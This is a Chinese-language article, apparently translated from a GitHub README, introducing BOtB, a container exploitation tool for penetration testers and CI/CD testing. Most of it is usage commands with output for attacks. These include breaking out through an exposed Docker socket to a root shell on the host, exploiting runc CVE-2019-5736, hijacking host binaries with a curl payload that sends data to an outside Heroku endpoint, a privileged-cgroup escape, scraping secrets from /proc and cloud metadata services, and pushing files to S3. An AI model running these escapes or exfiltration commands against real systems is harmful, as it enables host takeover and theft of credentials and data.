Botb：容器分析和漏洞利用工具

Botb：容器分析和漏洞利用工具
2019-10-16 16:00:56 Author: www.freebuf.com(查看原文) 阅读量:134 收藏

BOtB（Break out the Box）是一款容器分析和漏洞利用工具，其主要是为渗透测试人员和工程师所设计的。

它可以为我们做什么？

BOtB是一个CLI工具，你可以执行以下操作：

利用常见的容器漏洞

执行常见的容器后期利用操作

当某些工具或二进制文件在容器中不可用时提供功能

使用BOtB的功能与CI/CD技术来测试容器部署

以手动或自动方式执行以上操作

当前功能

查找和识别UNIX域套接字

识别支持HTTP的UNIX域套接字

在UNIX域套接字或接口上查找并标识Docker Daemon

分析和识别ENV和在ProcFS中（例如/Proc/{pid}/Environ）进程的敏感字符串

识别元数据服务端点，即http://169.254.169.254

通过暴露的Docker Daemon执行容器突破

通过CVE-2019-5736执行容器突破

使用自定义payload劫持主机二进制文件

以CI/CD模式执行操作，仅返回> 0退出代码

从GCP元数据端点中抓取元数据信息

将数据推送到s3 bucket

突破特权容器

强制BOtB始终返回Exit代码0（对非阻塞CI/CD有用）

从CLI参数或从YAML配置文件执行以上操作

获取 BOtB

BOtB在发行版中以二进制形式提供。

构建 BOtB

BOtB是用GO编写的，因此你可以使用标准的GO工具来构建。你可以执行以下操作：

获取代码：

go get github.com/brompwnie/botb
or
git clone [email protected]:brompwnie/botb.git

构建代码：

govendor init
govendor add github.com/tv42/httpunix
govendor add github.com/kr/pty
go build -o botbsBinary

使用

可以将BOTB编译为目标平台的二进制文件，支持的用法如下：‘

Usage of ./botb:
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpointlist string
        Provide a textfile with endpoints to test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
  -wordlist string
        Provide a wordlist (default "nil")

还可以指示BOtb通过config参数从YAML文件加载设置

# ./botb -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

以下用法示例在检测到异常时默认情况下将返回退出代码> 0，这由“echo $?”表示。显示最后执行命令的退出代码。

查找 UNIX 域套接字

#./bob_linux_amd64 -socket=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished
#echo $?
1

查找 Docker Daemon

#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished
#echo $?
1

通过暴露的 Docker Daemon 突破容器

这种方法将在主机上突破为交互式TTY。

#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #

以 CI/CD 友好方式突破容器

这种方法不会逃逸到主机上的TTY中，而是返回退出代码> 0来指示容器成功突破。

#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished
#echo $?
1

使用自定义 payload 利用 CVE-2019-5736

请注意，在该场景下要想有效利用，必须在目标容器中执行一个进程。

#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0&param1=$1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished

使用自定义 payload 在主机上劫持命令/二进制文件

请注意，这可用于测试外部实体是否正在容器内执行命令。例如Docker Exec和Kubetcl CP。

#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$1&param2=$2">/dev/null 2>&1
[+] Currently hijacking:  /bin
[+] Currently hijacking:  /sbin
[+] Currently hijacking:  /usr/bin
[+] Finished

分析 ENV 和 ProcFS 环境中的敏感字符串

默认情况下，BOtB将搜索“secret”和“password”。

 ./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV:  foo=secretpassword
[+] Finished
#echo $?
1

可以将wordlist提供给BOtB以扫描特定的关键字。

#cat wordlist.txt 
moo
# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished
# echo $?
0

扫描元数据端点

默认情况下，BOtB扫描两个元数据端点。

#  ./bob_linux_amd64 -metadata=true                    
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished
# echo $?
0

还可以提供需要扫描的端点列表。

#  cat endpoints.txt 

https://heroku.com

#  ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished
# echo $?
1

获取接口和 IP

#  ./bob_linux_amd64 -interfaces=true
[+] Break Out The Box
[+] Attempting to get local network interfaces
[*] Got Interface: lo
        [*] Got address: 127.0.0.1/8
[*] Got Interface: tunl0
[*] Got Interface: ip6tnl0
[*] Got Interface: eth0
        [*] Got address: 172.17.0.3/16
[+] Finished

扫描响应 HTTP 的 UNIX 域套接字

#  ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished

从 GCP 元数据实例中抓取数据

#  ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to:  169.254.169.254:80
[*] Output->
 HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....

将数据推送到 AWS S3 Bucket

#  ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finishedtu'po

突破特权容器

#  ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output 
docker-desktop

强制 botb 始终成功，退出代码为 0

这对于非阻塞CI/CD测试很有用

#  ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0

将 BOtB 与 YAML 配置文件一起使用

示例YAML文件cfg.yml

payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets

使用以上YAML运行BOtB

#  ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished

将 BOtB 与 CI\CD 一起使用

BOtB可以与CI\CD技术一起使用，其利用退出代码来确定测试是否已经通过或失败。以下是执行两个BOtB测试的Shell脚本，这两个测试的退出代码用于设置Shell脚本的退出。如果两个测试中的任何一个返回的退出代码>0，则执行shell脚本的测试将失败。

#!/bin/sh 
exitCode=0
echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?
echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?
(exit $exitCode)

以上脚本并不是将BOtB与CI\CD技术一起使用的唯一方法，也可以不包装在shell脚本中单独使用。一个示例YML配置如下：

version: 2
cicd:
  runATest: ./bob_linux_amd64 -autopwn -cicd=true

以下是可与Heroku CI一起使用的示例配置：

{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bob_linux_amd64 -autopwn -cicd=true"
            }
        }
    }
}

以下是Heroku CI的示例配置，但使用了wrapper shell脚本：

{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bin/testSocksAndEnv.sh"
            }
        }
    }
}

问题，错误和改进

如果你有任何疑问及改进建议，都可以通过提交issue来告诉我们。

参考文献与资源

如果没有社区中其他人的贡献，那么也就不会有这款工具，以下是对我有帮助的资源列表。

https://docs.docker.com/engine/security/https/

https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp

https://docs.docker.com/engine/reference/commandline/exec/

https://github.com/GoogleContainerTools/container-structure-test

https://github.com/coreos/clair

https://github.com/aquasecurity/docker-bench

https://www.cisecurity.org/benchmark/docker/

https://github.com/Frichetten/CVE-2019-5736-PoC

https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/

https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html

https://github.com/wagoodman/dive

https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf

https://github.com/singe/container-breakouts

https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/

*参考来源：GitHub，FB小编secist编译，转载请注明来自FreeBuf.COM

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